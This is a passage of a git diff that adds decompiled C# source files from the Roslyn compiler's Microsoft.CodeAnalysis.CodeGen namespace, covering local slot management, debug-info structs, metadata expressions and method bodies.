diagnostics); + + IMethodReference GetInitArrayHelper(); + + string GetStringFromToken(uint token); + + object GetReferenceFromToken(uint token); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/InstrumentationPayloadRootField.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/InstrumentationPayloadRootField.cs new file mode 100644 index 0000000..6bcf64d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/InstrumentationPayloadRootField.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class InstrumentationPayloadRootField : SynthesizedStaticField +{ + public override ImmutableArray MappedData => default(ImmutableArray); + + internal InstrumentationPayloadRootField(INamedTypeDefinition containingType, int analysisIndex, ITypeReference payloadType) + : base("PayloadRoot" + analysisIndex, containingType, payloadType) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ItemTokenMap.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ItemTokenMap.cs new file mode 100644 index 0000000..2d553a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ItemTokenMap.cs @@ -0,0 +1,53 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class ItemTokenMap where T : class +{ + private readonly ConcurrentDictionary _itemToToken = new ConcurrentDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private readonly ArrayBuilder _items = new ArrayBuilder(); + + public uint GetOrAddTokenFor(T item) + { + if (_itemToToken.TryGetValue(item, out var value)) + { + return value; + } + return AddItem(item); + } + + private uint AddItem(T item) + { + lock (_items) + { + if (_itemToToken.TryGetValue(item, out var value)) + { + return value; + } + value = (uint)_items.Count; + _items.Add(item); + _itemToToken.Add(item, value); + return value; + } + } + + public T GetItem(uint token) + { + lock (_items) + { + return _items[(int)token]; + } + } + + public IEnumerable GetAllItems() + { + lock (_items) + { + return _items.ToArray(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LambdaDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LambdaDebugInfo.cs new file mode 100644 index 0000000..10fd40b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LambdaDebugInfo.cs @@ -0,0 +1,57 @@ +using System; +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal struct LambdaDebugInfo(int syntaxOffset, DebugId lambdaId, int closureOrdinal) : IEquatable +{ + public readonly int SyntaxOffset = syntaxOffset; + + public readonly int ClosureOrdinal = closureOrdinal; + + public readonly DebugId LambdaId = lambdaId; + + public const int StaticClosureOrdinal = -1; + + public const int ThisOnlyClosureOrdinal = -2; + + public const int MinClosureOrdinal = -2; + + public bool Equals(LambdaDebugInfo other) + { + if (SyntaxOffset == other.SyntaxOffset && ClosureOrdinal == other.ClosureOrdinal) + { + return LambdaId.Equals(other.LambdaId); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is LambdaDebugInfo) + { + return Equals((LambdaDebugInfo)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(ClosureOrdinal, Hash.Combine(SyntaxOffset, LambdaId.GetHashCode())); + } + + internal string GetDebuggerDisplay() + { + if (ClosureOrdinal != -1) + { + if (ClosureOrdinal != -2) + { + return $"({LambdaId.GetDebuggerDisplay()} @{SyntaxOffset} in {ClosureOrdinal})"; + } + return $"(#{LambdaId.GetDebuggerDisplay()} @{SyntaxOffset}, this)"; + } + return $"({LambdaId.GetDebuggerDisplay()} @{SyntaxOffset}, static)"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalConstantDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalConstantDefinition.cs new file mode 100644 index 0000000..a089d3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalConstantDefinition.cs @@ -0,0 +1,49 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class LocalConstantDefinition : ILocalDefinition, INamedEntity +{ + public string Name { get; } + + public Location Location { get; } + + public MetadataConstant CompileTimeValue { get; } + + public ITypeReference Type => CompileTimeValue.Type; + + public bool IsConstant => true; + + public ImmutableArray CustomModifiers => ImmutableArray.Empty; + + public bool IsModified => false; + + public bool IsPinned => false; + + public bool IsReference => false; + + public LocalSlotConstraints Constraints => LocalSlotConstraints.None; + + public LocalVariableAttributes PdbAttributes => LocalVariableAttributes.None; + + public ImmutableArray DynamicTransformFlags { get; } + + public ImmutableArray TupleElementNames { get; } + + public int SlotIndex => -1; + + public byte[]? Signature => null; + + public LocalSlotDebugInfo SlotInfo => new LocalSlotDebugInfo(SynthesizedLocalKind.UserDefined, LocalDebugId.None); + + public LocalConstantDefinition(string name, Location location, MetadataConstant compileTimeValue, ImmutableArray dynamicTransformFlags, ImmutableArray tupleElementNames) + { + Name = name; + Location = location; + CompileTimeValue = compileTimeValue; + DynamicTransformFlags = dynamicTransformFlags.NullToEmpty(); + TupleElementNames = tupleElementNames.NullToEmpty(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalDebugId.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalDebugId.cs new file mode 100644 index 0000000..f55675b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalDebugId.cs @@ -0,0 +1,63 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal readonly struct LocalDebugId : IEquatable +{ + public readonly int SyntaxOffset; + + public readonly int Ordinal; + + public static readonly LocalDebugId None; + + public bool IsNone => Ordinal == -1; + + private LocalDebugId(bool isNone) + { + SyntaxOffset = -1; + Ordinal = -1; + } + + public LocalDebugId(int syntaxOffset, int ordinal = 0) + { + SyntaxOffset = syntaxOffset; + Ordinal = ordinal; + } + + public bool Equals(LocalDebugId other) + { + if (SyntaxOffset == other.SyntaxOffset) + { + return Ordinal == other.Ordinal; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(SyntaxOffset, Ordinal); + } + + public override bool Equals(object? obj) + { + if (obj is LocalDebugId) + { + return Equals((LocalDebugId)obj); + } + return false; + } + + public override string ToString() + { + int syntaxOffset = SyntaxOffset; + string text = syntaxOffset.ToString(); + syntaxOffset = Ordinal; + return text + ":" + syntaxOffset; + } + + static LocalDebugId() + { + None = new LocalDebugId(isNone: true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalDefinition.cs new file mode 100644 index 0000000..760701f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalDefinition.cs @@ -0,0 +1,108 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal sealed class LocalDefinition : ILocalDefinition, INamedEntity +{ + private readonly ILocalSymbolInternal? _symbolOpt; + + private readonly string? _nameOpt; + + private readonly ITypeReference _type; + + private readonly LocalSlotConstraints _constraints; + + private readonly int _slot; + + private readonly LocalSlotDebugInfo _slotInfo; + + private readonly LocalVariableAttributes _pdbAttributes; + + private readonly ImmutableArray _dynamicTransformFlags; + + private readonly ImmutableArray _tupleElementNames; + + public ILocalSymbolInternal? SymbolOpt => _symbolOpt; + + public Location Location + { + get + { + if (_symbolOpt != null) + { + ImmutableArray locations = _symbolOpt.Locations; + if (!locations.IsDefaultOrEmpty) + { + return locations[0]; + } + } + return Microsoft.CodeAnalysis.Location.None; + } + } + + public int SlotIndex => _slot; + + public MetadataConstant CompileTimeValue + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/LocalDefinition.cs", 109); + } + } + + public ImmutableArray CustomModifiers => ImmutableArray.Empty; + + public bool IsConstant + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/LocalDefinition.cs", 117); + } + } + + public bool IsModified => false; + + public LocalSlotConstraints Constraints => _constraints; + + public bool IsPinned => (_constraints & LocalSlotConstraints.Pinned) != 0; + + public bool IsReference => (_constraints & LocalSlotConstraints.ByRef) != 0; + + public LocalVariableAttributes PdbAttributes => _pdbAttributes; + + public ImmutableArray DynamicTransformFlags => _dynamicTransformFlags; + + public ImmutableArray TupleElementNames => _tupleElementNames; + + public ITypeReference Type => _type; + + public string? Name => _nameOpt; + + public byte[]? Signature => null; + + public LocalSlotDebugInfo SlotInfo => _slotInfo; + + public LocalDefinition(ILocalSymbolInternal? symbolOpt, string? nameOpt, ITypeReference type, int slot, SynthesizedLocalKind synthesizedKind, LocalDebugId id, LocalVariableAttributes pdbAttributes, LocalSlotConstraints constraints, ImmutableArray dynamicTransformFlags, ImmutableArray tupleElementNames) + { + _symbolOpt = symbolOpt; + _nameOpt = nameOpt; + _type = type; + _slot = slot; + _slotInfo = new LocalSlotDebugInfo(synthesizedKind, id); + _pdbAttributes = pdbAttributes; + _dynamicTransformFlags = dynamicTransformFlags.NullToEmpty(); + _tupleElementNames = tupleElementNames.NullToEmpty(); + _constraints = constraints; + } + + internal string GetDebuggerDisplay() + { + return string.Format("{0}: {1} ({2})", _slot, _nameOpt ?? "", _type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalOrParameter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalOrParameter.cs new file mode 100644 index 0000000..3d0d7fd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalOrParameter.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CodeGen; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal readonly struct LocalOrParameter +{ + public readonly LocalDefinition? Local; + + public readonly int ParameterIndex; + + private LocalOrParameter(LocalDefinition? local, int parameterIndex) + { + Local = local; + ParameterIndex = parameterIndex; + } + + public static implicit operator LocalOrParameter(LocalDefinition? local) + { + return new LocalOrParameter(local, -1); + } + + public static implicit operator LocalOrParameter(int parameterIndex) + { + return new LocalOrParameter(null, parameterIndex); + } + + private string GetDebuggerDisplay() + { + if (Local == null) + { + int parameterIndex = ParameterIndex; + return parameterIndex.ToString(); + } + return Local.GetDebuggerDisplay(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalSlotDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalSlotDebugInfo.cs new file mode 100644 index 0000000..9e7688c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalSlotDebugInfo.cs @@ -0,0 +1,39 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal readonly struct LocalSlotDebugInfo(SynthesizedLocalKind synthesizedKind, LocalDebugId id) : IEquatable +{ + public readonly SynthesizedLocalKind SynthesizedKind = synthesizedKind; + + public readonly LocalDebugId Id = id; + + public bool Equals(LocalSlotDebugInfo other) + { + if (SynthesizedKind == other.SynthesizedKind) + { + return Id.Equals(other.Id); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is LocalSlotDebugInfo) + { + return Equals((LocalSlotDebugInfo)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine((int)SynthesizedKind, Id.GetHashCode()); + } + + public override string ToString() + { + return SynthesizedKind.ToString() + " " + Id; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalSlotManager.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalSlotManager.cs new file mode 100644 index 0000000..db292a1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/LocalSlotManager.cs @@ -0,0 +1,161 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class LocalSlotManager +{ + private readonly struct LocalSignature : IEquatable + { + private readonly ITypeReference _type; + + private readonly LocalSlotConstraints _constraints; + + internal LocalSignature(ITypeReference valType, LocalSlotConstraints constraints) + { + _constraints = constraints; + _type = valType; + } + + public bool Equals(LocalSignature other) + { + if (_constraints == other._constraints) + { + return SymbolEquivalentEqualityComparer.Instance.Equals(_type, other._type); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(SymbolEquivalentEqualityComparer.Instance.GetHashCode(_type), (int)_constraints); + } + + public override bool Equals(object? obj) + { + if (obj is LocalSignature other) + { + return Equals(other); + } + return false; + } + } + + private Dictionary? _localMap; + + private KeyedStack? _freeSlots; + + private ArrayBuilder? _lazyAllLocals; + + private readonly VariableSlotAllocator? _slotAllocator; + + private Dictionary LocalMap + { + get + { + Dictionary dictionary = _localMap; + if (dictionary == null) + { + dictionary = (_localMap = new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance)); + } + return dictionary; + } + } + + private KeyedStack FreeSlots + { + get + { + KeyedStack keyedStack = _freeSlots; + if (keyedStack == null) + { + keyedStack = (_freeSlots = new KeyedStack()); + } + return keyedStack; + } + } + + public LocalSlotManager(VariableSlotAllocator? slotAllocator) + { + _slotAllocator = slotAllocator; + if (slotAllocator != null) + { + _lazyAllLocals = new ArrayBuilder(); + slotAllocator.AddPreviousLocals(_lazyAllLocals); + } + } + + internal LocalDefinition DeclareLocal(ITypeReference type, ILocalSymbolInternal symbol, string name, SynthesizedLocalKind kind, LocalDebugId id, LocalVariableAttributes pdbAttributes, LocalSlotConstraints constraints, ImmutableArray dynamicTransformFlags, ImmutableArray tupleElementNames, bool isSlotReusable) + { + if (!isSlotReusable || !FreeSlots.TryPop(new LocalSignature(type, constraints), out LocalDefinition value)) + { + value = DeclareLocalImpl(type, symbol, name, kind, id, pdbAttributes, constraints, dynamicTransformFlags, tupleElementNames); + } + LocalMap.Add(symbol, value); + return value; + } + + internal LocalDefinition GetLocal(ILocalSymbolInternal symbol) + { + return LocalMap[symbol]; + } + + internal void FreeLocal(ILocalSymbolInternal symbol) + { + LocalDefinition local = GetLocal(symbol); + LocalMap.Remove(symbol); + FreeSlot(local); + } + + internal LocalDefinition AllocateSlot(ITypeReference type, LocalSlotConstraints constraints, ImmutableArray dynamicTransformFlags = default(ImmutableArray), ImmutableArray tupleElementNames = default(ImmutableArray)) + { + if (!FreeSlots.TryPop(new LocalSignature(type, constraints), out LocalDefinition value)) + { + return DeclareLocalImpl(type, null, null, SynthesizedLocalKind.EmitterTemp, LocalDebugId.None, LocalVariableAttributes.DebuggerHidden, constraints, dynamicTransformFlags, tupleElementNames); + } + return value; + } + + private LocalDefinition DeclareLocalImpl(ITypeReference type, ILocalSymbolInternal? symbol, string? name, SynthesizedLocalKind kind, LocalDebugId id, LocalVariableAttributes pdbAttributes, LocalSlotConstraints constraints, ImmutableArray dynamicTransformFlags, ImmutableArray tupleElementNames) + { + if (_lazyAllLocals == null) + { + _lazyAllLocals = new ArrayBuilder(1); + } + LocalDefinition previousLocal; + if (symbol != null && _slotAllocator != null) + { + previousLocal = _slotAllocator.GetPreviousLocal(type, symbol, name, kind, id, pdbAttributes, constraints, dynamicTransformFlags, tupleElementNames); + if (previousLocal != null) + { + int slotIndex = previousLocal.SlotIndex; + _lazyAllLocals[slotIndex] = previousLocal; + return previousLocal; + } + } + previousLocal = new LocalDefinition(symbol, name, type, _lazyAllLocals.Count, kind, id, pdbAttributes, constraints, dynamicTransformFlags, tupleElementNames); + _lazyAllLocals.Add(previousLocal); + return previousLocal; + } + + internal void FreeSlot(LocalDefinition slot) + { + FreeSlots.Push(new LocalSignature(slot.Type, slot.Constraints), slot); + } + + public ImmutableArray LocalsInOrder() + { + if (_lazyAllLocals == null) + { + return ImmutableArray.Empty; + } + return _lazyAllLocals.ToImmutable(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MappedField.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MappedField.cs new file mode 100644 index 0000000..533fca6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MappedField.cs @@ -0,0 +1,17 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class MappedField : SynthesizedStaticField +{ + private readonly ImmutableArray _block; + + public override ImmutableArray MappedData => _block; + + internal MappedField(string name, INamedTypeDefinition containingType, ITypeReference type, ImmutableArray block) + : base(name, containingType, type) + { + _block = block; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataConstant.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataConstant.cs new file mode 100644 index 0000000..659462f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataConstant.cs @@ -0,0 +1,27 @@ +using System.Diagnostics; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class MetadataConstant : IMetadataExpression +{ + public ITypeReference Type { get; } + + public object? Value { get; } + + public MetadataConstant(ITypeReference type, object? value) + { + Type = type; + Value = value; + } + + void IMetadataExpression.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + [Conditional("DEBUG")] + internal static void AssertValidConstant(object? value) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataCreateArray.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataCreateArray.cs new file mode 100644 index 0000000..70f136b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataCreateArray.cs @@ -0,0 +1,27 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class MetadataCreateArray : IMetadataExpression +{ + public IArrayTypeReference ArrayType { get; } + + public ITypeReference ElementType { get; } + + public ImmutableArray Elements { get; } + + ITypeReference IMetadataExpression.Type => ArrayType; + + public MetadataCreateArray(IArrayTypeReference arrayType, ITypeReference elementType, ImmutableArray initializers) + { + ArrayType = arrayType; + ElementType = elementType; + Elements = initializers; + } + + void IMetadataExpression.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataNamedArgument.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataNamedArgument.cs new file mode 100644 index 0000000..779087f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataNamedArgument.cs @@ -0,0 +1,33 @@ +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class MetadataNamedArgument : IMetadataNamedArgument, IMetadataExpression +{ + private readonly ISymbolInternal _entity; + + private readonly ITypeReference _type; + + private readonly IMetadataExpression _value; + + string IMetadataNamedArgument.ArgumentName => _entity.Name; + + IMetadataExpression IMetadataNamedArgument.ArgumentValue => _value; + + bool IMetadataNamedArgument.IsField => _entity.Kind == SymbolKind.Field; + + ITypeReference IMetadataExpression.Type => _type; + + public MetadataNamedArgument(ISymbolInternal entity, ITypeReference type, IMetadataExpression value) + { + _entity = entity; + _type = type; + _value = value; + } + + void IMetadataExpression.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataTypeOf.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataTypeOf.cs new file mode 100644 index 0000000..d4d6fc7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MetadataTypeOf.cs @@ -0,0 +1,25 @@ +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class MetadataTypeOf : IMetadataExpression +{ + private readonly ITypeReference _typeToGet; + + private readonly ITypeReference _systemType; + + public ITypeReference TypeToGet => _typeToGet; + + ITypeReference IMetadataExpression.Type => _systemType; + + public MetadataTypeOf(ITypeReference typeToGet, ITypeReference systemType) + { + _typeToGet = typeToGet; + _systemType = systemType; + } + + void IMetadataExpression.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MethodBody.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MethodBody.cs new file mode 100644 index 0000000..0c157ae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/MethodBody.cs @@ -0,0 +1,133 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class MethodBody : IMethodBody +{ + private readonly IMethodDefinition _parent; + + private readonly ImmutableArray _ilBits; + + private readonly ushort _maxStack; + + private readonly ImmutableArray _locals; + + private readonly ImmutableArray _exceptionHandlers; + + private readonly bool _areLocalsZeroed; + + private readonly ImmutableArray _sequencePoints; + + private readonly ImmutableArray _localScopes; + + private readonly Microsoft.Cci.IImportScope _importScopeOpt; + + private readonly string _stateMachineTypeNameOpt; + + private readonly ImmutableArray _stateMachineHoistedLocalScopes; + + private readonly bool _hasDynamicLocalVariables; + + private readonly StateMachineMoveNextBodyDebugInfo _stateMachineMoveNextDebugInfoOpt; + + private readonly DebugId _methodId; + + private readonly ImmutableArray _stateMachineHoistedLocalSlots; + + private readonly ImmutableArray _lambdaDebugInfo; + + private readonly ImmutableArray _closureDebugInfo; + + private readonly StateMachineStatesDebugInfo _stateMachineStatesDebugInfo; + + private readonly ImmutableArray _stateMachineAwaiterSlots; + + private readonly ImmutableArray _codeCoverageSpans; + + private readonly bool _isPrimaryConstructor; + + ImmutableArray IMethodBody.CodeCoverageSpans => _codeCoverageSpans; + + ImmutableArray IMethodBody.ExceptionRegions => _exceptionHandlers; + + bool IMethodBody.AreLocalsZeroed => _areLocalsZeroed; + + ImmutableArray IMethodBody.LocalVariables => _locals; + + IMethodDefinition IMethodBody.MethodDefinition => _parent; + + StateMachineMoveNextBodyDebugInfo IMethodBody.MoveNextBodyInfo => _stateMachineMoveNextDebugInfoOpt; + + ushort IMethodBody.MaxStack => _maxStack; + + public ImmutableArray IL => _ilBits; + + public ImmutableArray SequencePoints => _sequencePoints; + + ImmutableArray IMethodBody.LocalScopes => _localScopes; + + Microsoft.Cci.IImportScope IMethodBody.ImportScope => _importScopeOpt; + + string IMethodBody.StateMachineTypeName => _stateMachineTypeNameOpt; + + ImmutableArray IMethodBody.StateMachineHoistedLocalScopes => _stateMachineHoistedLocalScopes; + + ImmutableArray IMethodBody.StateMachineHoistedLocalSlots => _stateMachineHoistedLocalSlots; + + ImmutableArray IMethodBody.StateMachineAwaiterSlots => _stateMachineAwaiterSlots; + + bool IMethodBody.HasDynamicLocalVariables => _hasDynamicLocalVariables; + + public DebugId MethodId => _methodId; + + public ImmutableArray LambdaDebugInfo => _lambdaDebugInfo; + + public ImmutableArray ClosureDebugInfo => _closureDebugInfo; + + public StateMachineStatesDebugInfo StateMachineStatesDebugInfo => _stateMachineStatesDebugInfo; + + public bool HasStackalloc { get; } + + public bool IsPrimaryConstructor => _isPrimaryConstructor; + + public MethodBody(ImmutableArray ilBits, ushort maxStack, IMethodDefinition parent, DebugId methodId, ImmutableArray locals, SequencePointList sequencePoints, DebugDocumentProvider debugDocumentProvider, ImmutableArray exceptionHandlers, bool areLocalsZeroed, bool hasStackalloc, ImmutableArray localScopes, bool hasDynamicLocalVariables, Microsoft.Cci.IImportScope importScopeOpt, ImmutableArray lambdaDebugInfo, ImmutableArray closureDebugInfo, string stateMachineTypeNameOpt, ImmutableArray stateMachineHoistedLocalScopes, ImmutableArray stateMachineHoistedLocalSlots, ImmutableArray stateMachineAwaiterSlots, StateMachineStatesDebugInfo stateMachineStatesDebugInfo, StateMachineMoveNextBodyDebugInfo stateMachineMoveNextDebugInfoOpt, ImmutableArray codeCoverageSpans, bool isPrimaryConstructor) + { + _ilBits = ilBits; + _maxStack = maxStack; + _parent = parent; + _methodId = methodId; + _locals = locals; + _exceptionHandlers = exceptionHandlers; + _areLocalsZeroed = areLocalsZeroed; + HasStackalloc = hasStackalloc; + _localScopes = localScopes; + _hasDynamicLocalVariables = hasDynamicLocalVariables; + _importScopeOpt = importScopeOpt; + _lambdaDebugInfo = lambdaDebugInfo; + _closureDebugInfo = closureDebugInfo; + _stateMachineTypeNameOpt = stateMachineTypeNameOpt; + _stateMachineHoistedLocalScopes = stateMachineHoistedLocalScopes; + _stateMachineHoistedLocalSlots = stateMachineHoistedLocalSlots; + _stateMachineAwaiterSlots = stateMachineAwaiterSlots; + _stateMachineStatesDebugInfo = stateMachineStatesDebugInfo; + _stateMachineMoveNextDebugInfoOpt = stateMachineMoveNextDebugInfoOpt; + _codeCoverageSpans = codeCoverageSpans; + _sequencePoints = GetSequencePoints(sequencePoints, debugDocumentProvider); + _isPrimaryConstructor = isPrimaryConstructor; + } + + private static ImmutableArray GetSequencePoints(SequencePointList? sequencePoints, DebugDocumentProvider debugDocumentProvider) + { + if (sequencePoints == null || sequencePoints.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + sequencePoints.GetSequencePoints(debugDocumentProvider, instance); + return instance.ToImmutableAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ModuleVersionIdField.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ModuleVersionIdField.cs new file mode 100644 index 0000000..eb43dd9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ModuleVersionIdField.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class ModuleVersionIdField : SynthesizedStaticField +{ + public override ImmutableArray MappedData => default(ImmutableArray); + + internal ModuleVersionIdField(INamedTypeDefinition containingType, ITypeReference type) + : base("MVID", containingType, type) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PermissionSetAttributeWithFileReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PermissionSetAttributeWithFileReference.cs new file mode 100644 index 0000000..a0dd773 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PermissionSetAttributeWithFileReference.cs @@ -0,0 +1,101 @@ +using System.Collections.Immutable; +using System.IO; +using System.Text; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal class PermissionSetAttributeWithFileReference : ICustomAttribute +{ + private readonly struct HexPropertyMetadataNamedArgument(ITypeReference type, IMetadataExpression value) : IMetadataNamedArgument, IMetadataExpression + { + private readonly ITypeReference _type = type; + + private readonly IMetadataExpression _value = value; + + public string ArgumentName => "Hex"; + + public IMetadataExpression ArgumentValue => _value; + + public bool IsField => false; + + ITypeReference IMetadataExpression.Type => _type; + + void IMetadataExpression.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + } + + private readonly ICustomAttribute _sourceAttribute; + + private readonly string _resolvedPermissionSetFilePath; + + internal const string FilePropertyName = "File"; + + internal const string HexPropertyName = "Hex"; + + public int ArgumentCount => _sourceAttribute.ArgumentCount; + + public ushort NamedArgumentCount => 1; + + public bool AllowMultiple => _sourceAttribute.AllowMultiple; + + public 